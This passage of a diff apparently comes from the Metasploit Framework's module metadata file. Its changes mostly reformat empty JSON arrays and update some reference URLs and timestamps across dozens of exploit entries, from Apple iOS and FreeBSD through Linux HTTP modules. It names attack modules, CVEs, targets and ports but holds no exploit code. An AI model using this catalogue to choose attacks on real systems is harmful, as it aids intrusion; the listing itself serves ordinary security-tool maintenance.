"post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_apple_ios/email/mobilemail_libtiff": { "name": "Apple iOS MobileMail LibTIFF Buffer Overflow", "fullname": "exploit/apple_ios/email/mobilemail_libtiff", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2006-08-01", "type": "exploit", @@ -67886,17 +58417,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_apple_ios/ssh/cydia_default_ssh": { "name": "Apple iOS Default SSH Password Vulnerability", "fullname": "exploit/apple_ios/ssh/cydia_default_ssh", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2007-07-02", "type": "exploit", @@ -67910,12 +58438,8 @@ "platform": "Unix", "arch": "cmd", "rport": 22, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Apple iOS" ], @@ -67933,9 +58457,7 @@ "Reliability": [ "repeatable-session" ], - "SideEffects": [ - - ] + "SideEffects": [] }, "session_types": false, "needs_cleanup": null @@ -67943,9 +58465,7 @@ "exploit_bsd/finger/morris_fingerd_bof": { "name": "Morris Worm fingerd Stack Buffer Overflow", "fullname": "exploit/bsd/finger/morris_fingerd_bof", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "1988-11-02", "type": "exploit", @@ -67965,12 +58485,8 @@ "platform": "BSD", "arch": "vax", "rport": 79, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "@(#)fingerd.c 5.1 (Berkeley) 6/6/85" ], @@ -67981,17 +58497,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_bsdi/softcart/mercantec_softcart": { "name": "Mercantec SoftCart CGI Overflow", "fullname": "exploit/bsdi/softcart/mercantec_softcart", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2004-08-19", "type": "exploit", @@ -68033,17 +58546,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_dialup/multi/login/manyargs": { "name": "System V Derived /bin/login Extraneous Arguments Buffer Overflow", "fullname": "exploit/dialup/multi/login/manyargs", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2001-12-12", "type": "exploit", @@ -68062,12 +58572,8 @@ "platform": "Unix", "arch": "tty", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Solaris 2.6 - 8 (SPARC)" ], @@ -68078,17 +58584,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_firefox/local/exec_shellcode": { "name": "Firefox Exec Shellcode from Privileged Javascript Shell", "fullname": "exploit/firefox/local/exec_shellcode", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2014-03-10", "type": "exploit", @@ -68096,18 +58599,12 @@ "joev " ], "description": "This module allows execution of native payloads from a privileged Firefox Javascript shell.\n It places the specified payload into memory, adds the necessary protection flags,\n and calls it, which can be useful for upgrading a Firefox javascript shell to a Meterpreter\n session without touching the disk.", - "references": [ - - ], + "references": [], "platform": "Firefox", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Native Payload" ], @@ -68118,22 +58615,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, - "session_types": [ - - ], + "notes": {}, + "session_types": [], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "exploit_freebsd/ftp/proftp_telnet_iac": { "name": "ProFTPD 1.3.2rc3 - 1.3.3b Telnet IAC Buffer Overflow (FreeBSD)", "fullname": "exploit/freebsd/ftp/proftp_telnet_iac", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2010-11-01", "type": "exploit", @@ -68168,8 +58658,7 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, @@ -68199,8 +58688,8 @@ "CVE-2019-19781", "EDB-47901", "EDB-47902", - "URL-https://support.citrix.com/article/CTX267027/", - "URL-https://www.mdsec.co.uk/2020/01/deep-dive-to-citrix-adc-remote-code-execution-cve-2019-19781/", + "URL-http://web.archive.org/web/20220608001448/https://support.citrix.com/article/CTX267027", + "URL-http://web.archive.org/web/20200707202522/https://www.mdsec.co.uk/2020/01/deep-dive-to-citrix-adc-remote-code-execution-cve-2019-19781/", "URL-https://swarm.ptsecurity.com/remote-code-execution-in-citrix-adc/" ], "platform": "Python,Unix", @@ -68225,7 +58714,7 @@ "Python", "Unix Command" ], - "mod_time": "2021-04-15 19:07:50 +0000", + "mod_time": "2025-02-28 09:35:28 +0000", "path": "/modules/exploits/freebsd/http/citrix_dir_traversal_rce.rb", "is_install_path": true, "ref_name": "freebsd/http/citrix_dir_traversal_rce", @@ -68253,9 +58742,7 @@ "exploit_freebsd/http/citrix_formssso_target_rce": { "name": "Citrix ADC (NetScaler) Forms SSO Target RCE", "fullname": "exploit/freebsd/http/citrix_formssso_target_rce", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2023-07-18", "type": "exploit", @@ -68305,9 +58792,7 @@ "post_auth": false, "default_credential": false, "notes": { - "Stability": [ - - ], + "Stability": [], "Reliability": [ "repeatable-session" ], @@ -68321,9 +58806,7 @@ "exploit_freebsd/http/junos_phprc_auto_prepend_file": { "name": "Junos OS PHPRC Environment Variable Manipulation RCE", "fullname": "exploit/freebsd/http/junos_phprc_auto_prepend_file", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2023-08-17", "type": "exploit", @@ -68386,9 +58869,7 @@ "exploit_freebsd/http/watchguard_cmd_exec": { "name": "Watchguard XCS Remote Command Execution", "fullname": "exploit/freebsd/http/watchguard_cmd_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2015-06-29", "type": "exploit", @@ -68428,17 +58909,14 @@ "check": true, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_freebsd/local/intel_sysret_priv_esc": { "name": "FreeBSD Intel SYSRET Privilege Escalation", "fullname": "exploit/freebsd/local/intel_sysret_priv_esc", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2012-06-12", "type": "exploit", @@ -68464,12 +58942,8 @@ "platform": "BSD", "arch": "x64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], @@ -68480,22 +58954,17 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "shell" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_freebsd/local/ip6_setpktopt_uaf_priv_esc": { "name": "FreeBSD ip6_setpktopt Use-After-Free Privilege Escalation", "fullname": "exploit/freebsd/local/ip6_setpktopt_uaf_priv_esc", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2020-07-07", "type": "exploit", @@ -68517,12 +58986,8 @@ "platform": "BSD", "arch": "x64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "FreeBSD 9.0-RELEASE #0", @@ -68555,16 +59020,12 @@ "shell" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_freebsd/local/mmap": { "name": "FreeBSD 9 Address Space Manipulation Privilege Escalation", "fullname": "exploit/freebsd/local/mmap", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2013-06-18", "type": "exploit", @@ -68585,12 +59046,8 @@ "platform": "BSD", "arch": "x86", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "FreeBSD x86" ], @@ -68601,22 +59058,17 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "shell" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_freebsd/local/rtld_execl_priv_esc": { "name": "FreeBSD rtld execl() Privilege Escalation", "fullname": "exploit/freebsd/local/rtld_execl_priv_esc", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2009-11-30", "type": "exploit", @@ -68640,12 +59092,8 @@ "platform": "BSD", "arch": "x86, x64, armle, aarch64, ppc, mipsle, mipsbe", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], @@ -68656,22 +59104,17 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "shell" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_freebsd/local/watchguard_fix_corrupt_mail": { "name": "Watchguard XCS FixCorruptMail Local Privilege Escalation", "fullname": "exploit/freebsd/local/watchguard_fix_corrupt_mail", - "aliases": [ - - ], + "aliases": [], "rank": 0, "disclosure_date": "2015-06-29", "type": "exploit", @@ -68685,12 +59128,8 @@ "platform": "BSD", "arch": "x64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Watchguard XCS 9.2/10.0" ], @@ -68701,22 +59140,17 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "shell" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_freebsd/misc/citrix_netscaler_soap_bof": { "name": "Citrix NetScaler SOAP Handler Remote Code Execution", "fullname": "exploit/freebsd/misc/citrix_netscaler_soap_bof", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2014-09-22", "type": "exploit", @@ -68756,17 +59190,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_freebsd/samba/trans2open": { "name": "Samba trans2open Overflow (*BSD x86)", "fullname": "exploit/freebsd/samba/trans2open", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2003-04-07", "type": "exploit", @@ -68802,17 +59233,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_freebsd/tacacs/xtacacsd_report": { "name": "XTACACSD report() Buffer Overflow", "fullname": "exploit/freebsd/tacacs/xtacacsd_report", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2008-01-08", "type": "exploit", @@ -68828,12 +59256,8 @@ "platform": "BSD", "arch": "x86", "rport": 49, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "FreeBSD 6.2-Release Bruteforce" ], @@ -68844,17 +59268,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_freebsd/telnet/telnet_encrypt_keyid": { "name": "FreeBSD Telnet Service Encryption Key ID Buffer Overflow", "fullname": "exploit/freebsd/telnet/telnet_encrypt_keyid", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2011-12-23", "type": "exploit", @@ -68899,17 +59320,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_freebsd/webapp/spamtitan_unauth_rce": { "name": "SpamTitan Unauthenticated RCE", "fullname": "exploit/freebsd/webapp/spamtitan_unauth_rce", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2020-04-17", "type": "exploit", @@ -68971,9 +59389,7 @@ "exploit_hpux/lpd/cleanup_exec": { "name": "HP-UX LPD Command Execution", "fullname": "exploit/hpux/lpd/cleanup_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2002-08-28", "type": "exploit", @@ -68989,12 +59405,8 @@ "platform": "HPUX,Unix", "arch": "cmd", "rport": 515, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic Target" ], @@ -69005,17 +59417,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_irix/lpd/tagprinter_exec": { "name": "Irix LPD tagprinter Command Execution", "fullname": "exploit/irix/lpd/tagprinter_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2001-09-01", "type": "exploit", @@ -69031,12 +59440,8 @@ "platform": "Irix,Unix", "arch": "cmd", "rport": 515, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic Target" ], @@ -69047,17 +59452,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_linux/antivirus/escan_password_exec": { "name": "eScan Web Management Console Command Injection", "fullname": "exploit/linux/antivirus/escan_password_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2014-04-04", "type": "exploit", @@ -69097,17 +59499,14 @@ "check": true, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_linux/browser/adobe_flashplayer_aslaunch": { "name": "Adobe Flash Player ActionScript Launch Command Execution Vulnerability", "fullname": "exploit/linux/browser/adobe_flashplayer_aslaunch", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2008-12-17", "type": "exploit", @@ -69124,12 +59523,8 @@ "platform": "Unix", "arch": "cmd", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], @@ -69140,17 +59535,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_linux/fileformat/unrar_cve_2022_30333": { "name": "UnRAR Path Traversal (CVE-2022-30333)", "fullname": "exploit/linux/fileformat/unrar_cve_2022_30333", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2022-06-28", "type": "exploit", @@ -69168,12 +59560,8 @@ "platform": "Linux", "arch": "x86, x64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Generic RAR file" ], @@ -69188,12 +59576,8 @@ "Stability": [ "crash-safe" ], - "Reliability": [ - - ], - "SideEffects": [ - - ] + "Reliability": [], + "SideEffects": [] }, "session_types": false, "needs_cleanup": null @@ -69201,9 +59585,7 @@ "exploit_linux/ftp/proftp_sreplace": { "name": "ProFTPD 1.2 - 1.3.0 sreplace Buffer Overflow (Linux)", "fullname": "exploit/linux/ftp/proftp_sreplace", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2006-11-26", "type": "exploit", @@ -69243,17 +59625,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_linux/ftp/proftp_telnet_iac": { "name": "ProFTPD 1.3.2rc3 - 1.3.3b Telnet IAC Buffer Overflow (Linux)", "fullname": "exploit/linux/ftp/proftp_telnet_iac", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2010-11-01", "type": "exploit", @@ -69269,12 +59648,8 @@ "platform": "Linux", "arch": "", "rport": 21, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic Targeting", "Debug", @@ -69289,17 +59664,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_linux/games/ut2004_secure": { "name": "Unreal Tournament 2004 \"secure\" Overflow (Linux)", "fullname": "exploit/linux/games/ut2004_secure", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2004-06-18", "type": "exploit", @@ -69315,12 +59687,8 @@ "platform": "Linux", "arch": "", "rport": 7787, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "UT2004 Linux Build 3120", @@ -69333,17 +59701,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_linux/http/accellion_fta_getstatus_oauth": { "name": "Accellion FTA getStatus verify_oauth_token Command Execution", "fullname": "exploit/linux/http/accellion_fta_getstatus_oauth", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2015-07-10", "type": "exploit", @@ -69383,17 +59748,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_linux/http/acronis_cyber_infra_cve_2023_45249": { "name": "Acronis Cyber Infrastructure default password remote code execution", "fullname": "exploit/linux/http/acronis_cyber_infra_cve_2023_45249", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2024-07-24", "type": "exploit", @@ -69456,9 +59818,7 @@ "exploit_linux/http/advantech_switch_bash_env_exec": { "name": "Advantech Switch Bash Environment Variable Code Injection (Shellshock)", "fullname": "exploit/linux/http/advantech_switch_bash_env_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2015-12-01", "type": "exploit", @@ -69507,12 +59867,8 @@ "Stability": [ "crash-safe" ], - "SideEffects": [ - - ], - "Reliability": [ - - ], + "SideEffects": [], + "Reliability": [], "AKA": [ "Shellshock" ] @@ -69523,9 +59879,7 @@ "exploit_linux/http/airties_login_cgi_bof": { "name": "Airties login-cgi Buffer Overflow", "fullname": "exploit/linux/http/airties_login_cgi_bof", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2015-03-31", "type": "exploit", @@ -69567,17 +59921,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_linux/http/alcatel_omnipcx_mastercgi_exec": { "name": "Alcatel-Lucent OmniPCX Enterprise masterCGI Arbitrary Command Execution", "fullname": "exploit/linux/http/alcatel_omnipcx_mastercgi_exec", - "aliases": [ - - ], + "aliases": [], "rank": 0, "disclosure_date": "2007-09-09", "type": "exploit", @@ -69594,12 +59945,8 @@ "platform": "Unix", "arch": "cmd", "rport": 443, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic Target" ], @@ -69610,17 +59957,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_linux/http/alienvault_exec": { "name": "AlienVault OSSIM/USM Remote Code Execution", "fullname": "exploit/linux/http/alienvault_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2017-01-31", "type": "exploit", @@ -69662,17 +60006,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_linux/http/alienvault_sqli_exec": { "name": "AlienVault OSSIM SQL Injection and Remote Code Execution", "fullname": "exploit/linux/http/alienvault_sqli_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2014-04-24", "type": "exploit", @@ -69714,17 +60055,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_linux/http/apache_airflow_dag_rce": { "name": "Apache Airflow 1.10.10 - Example DAG Remote Code Execution", "fullname": "exploit/linux/http/apache_airflow_dag_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2020-07-14", "type": "exploit", @@ -69788,9 +60126,7 @@ "exploit_linux/http/apache_continuum_cmd_exec": { "name": "Apache Continuum Arbitrary Command Execution", "fullname": "exploit/linux/http/apache_continuum_cmd_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2016-04-06", "type": "exploit", @@ -69830,17 +60166,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_linux/http/apache_couchdb_cmd_exec": { "name": "Apache CouchDB Arbitrary Command Execution", "fullname": "exploit/linux/http/apache_couchdb_cmd_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2016-04-06", "type": "exploit", @@ -69887,17 +60220,14 @@ "check": true, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_linux/http/apache_druid_js_rce": { "name": "Apache Druid 0.20.0 Remote Command Execution", "fullname": "exploit/linux/http/apache_druid_js_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2021-01-21", "type": "exploit", @@ -69958,9 +60288,7 @@ "exploit_linux/http/apache_hugegraph_gremlin_rce": { "name": "Apache HugeGraph Gremlin RCE", "fullname": "exploit/linux/http/apache_hugegraph_gremlin_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2024-04-22", "type": "exploit", @@ -70018,9 +60346,7 @@ "exploit_linux/http/apache_nifi_h2_rce": { "name": "Apache NiFi H2 Connection String Remote Code Execution", "fullname": "exploit/linux/http/apache_nifi_h2_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2023-06-12", "type": "exploit", @@ -70082,9 +60408,7 @@ "exploit_linux/http/apache_ofbiz_deserialization": { "name": "Apache OFBiz XML-RPC Java Deserialization", "fullname": "exploit/linux/http/apache_ofbiz_deserialization", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2020-07-13", "type": "exploit", @@ -70150,9 +60474,7 @@ "exploit_linux/http/apache_ofbiz_deserialization_soap": { "name": "Apache OFBiz SOAP Java Deserialization", "fullname": "exploit/linux/http/apache_ofbiz_deserialization_soap", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2021-03-22", "type": "exploit", @@ -70214,9 +60536,7 @@ "exploit_linux/http/apache_solr_backup_restore": { "name": "Apache Solr Backup/Restore APIs RCE", "fullname": "exploit/linux/http/apache_solr_backup_restore", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2024-02-24", "type": "exploit", @@ -70277,9 +60597,7 @@ "exploit_linux/http/apache_spark_rce_cve_2022_33891": { "name": "Apache Spark Unauthenticated Command Injection RCE", "fullname": "exploit/linux/http/apache_spark_rce_cve_2022_33891", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2022-07-18", "type": "exploit", @@ -70339,9 +60657,7 @@ "exploit_linux/http/apache_superset_cookie_sig_rce": { "name": "Apache Superset Signed Cookie RCE", "fullname": "exploit/linux/http/apache_superset_cookie_sig_rce", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2023-09-06", "type": "exploit", @@ -70411,9 +60727,7 @@ "exploit_linux/http/artica_proxy_auth_bypass_service_cmds_peform_command_injection": { "name": "Artica proxy 4.30.000000 Auth Bypass service-cmds-peform Command Injection", "fullname": "exploit/linux/http/artica_proxy_auth_bypass_service_cmds_peform_command_injection", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2020-08-09", "type": "exploit", @@ -70475,9 +60789,7 @@ "exploit_linux/http/artica_proxy_unauth_rce_cve_2024_2054": { "name": "Artica Proxy Unauthenticated PHP Deserialization Vulnerability", "fullname": "exploit/linux/http/artica_proxy_unauth_rce_cve_2024_2054", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2024-03-05", "type": "exploit", @@ -70539,9 +60851,7 @@ "exploit_linux/http/astium_sqli_upload": { "name": "Astium Remote Code Execution", "fullname": "exploit/linux/http/astium_sqli_upload", - "aliases": [ - - ], + "aliases": [], "rank": 0, "disclosure_date": "2013-09-17", "type": "exploit", @@ -70581,17 +60891,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_linux/http/asuswrt_lan_rce": { "name": "AsusWRT LAN Unauthenticated Remote Code Execution", "fullname": "exploit/linux/http/asuswrt_lan_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2018-01-22", "type": "exploit", @@ -70634,17 +60941,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_linux/http/atutor_filemanager_traversal": { "name": "ATutor 2.2.1 Directory Traversal / Remote Code Execution", "fullname": "exploit/linux/http/atutor_filemanager_traversal", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2016-03-01", "type": "exploit", @@ -70687,17 +60991,14 @@ "check": true, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_linux/http/axis_app_install": { "name": "Axis IP Camera Application Upload", "fullname": "exploit/linux/http/axis_app_install", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2018-04-12", "type": "exploit", @@ -70755,9 +61056,7 @@ "exploit_linux/http/axis_srv_parhand_rce": { "name": "Axis Network Camera .srv-to-parhand RCE", "fullname": "exploit/linux/http/axis_srv_parhand_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2018-06-18", "type": "exploit", @@ -70809,17 +61108,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_linux/http/belkin_login_bof": { "name": "Belkin Play N750 login.cgi Buffer Overflow", "fullname": "exploit/linux/http/belkin_login_bof", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2014-05-09", "type": "exploit", @@ -70864,17 +61160,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_linux/http/beyondtrust_pra_rs_unauth_rce": { "name": "BeyondTrust Privileged Remote Access (PRA) and Remote Support (RS) unauthenticated Remote Code Execution", "fullname": "exploit/linux/http/beyondtrust_pra_rs_unauth_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2024-12-16", "type": "exploit", @@ -70885,7 +61178,7 @@ "references": [ "CVE-2024-12356", "CVE-2025-1094", - "URL-https://www.beyondtrust.com/trust-center/security-advisories/bt24-10", + "URL-http://web.archive.org/web/20241226144006/https://www.beyondtrust.com/trust-center/security-advisories/bt24-10", "URL-https://www.postgresql.org/support/security/CVE-2025-1094/", "URL-https://attackerkb.com/topics/G5s8ZWAbYH/cve-2024-12356/rapid7-analysis" ], @@ -70910,7 +61203,7 @@ "targets": [ "Default" ], - "mod_time": "2025-02-17 16:33:11 +0000", + "mod_time": "2025-02-28 09:35:28 +0000", "path": "/modules/exploits/linux/http/beyondtrust_pra_rs_unauth_rce.rb", "is_install_path": true, "ref_name": "linux/http/beyondtrust_pra_rs_unauth_rce", @@ -70934,9 +61227,7 @@ "exploit_linux/http/bitbucket_git_cmd_injection": { "name": "Bitbucket Git Command Injection", "fullname": "exploit/linux/http/bitbucket_git_cmd_injection", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2022-08-24", "type": "exploit", @@ -71000,9 +61291,7 @@ "exploit_linux/http/bludit_upload_images_exec": { "name": "Bludit Directory Traversal Image File Upload Vulnerability", "fullname": "exploit/linux/http/bludit_upload_images_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2019-09-07", "type": "exploit", @@ -71061,9 +61350,7 @@ "exploit_linux/http/cacti_unauthenticated_cmd_injection": { "name": "Cacti 1.2.22 unauthenticated command injection", "fullname": "exploit/linux/http/cacti_unauthenticated_cmd_injection", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2022-12-05", "type": "exploit", @@ -71127,9 +61414,7 @@ "exploit_linux/http/cayin_cms_ntp": { "name": "Cayin CMS NTP Server RCE", "fullname": "exploit/linux/http/cayin_cms_ntp", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2020-06-04", "type": "exploit", @@ -71190,9 +61475,7 @@ "exploit_linux/http/centreon_pollers_auth_rce": { "name": "Centreon Poller Authenticated Remote Command Execution", "fullname": "exploit/linux/http/centreon_pollers_auth_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2020-01-27", "type": "exploit", @@ -71252,9 +61535,7 @@ "exploit_linux/http/centreon_sqli_exec": { "name": "Centreon SQL and Command Injection", "fullname": "exploit/linux/http/centreon_sqli_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2014-10-15", "type": "exploit", @@ -71297,17 +61578,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_linux/http/centreon_useralias_exec": { "name": "Centreon Web Useralias Command Execution", "fullname": "exploit/linux/http/centreon_useralias_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2016-02-26", "type": "exploit", @@ -71347,17 +61625,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_linux/http/cfme_manageiq_evm_upload_exec": { "name": "Red Hat CloudForms 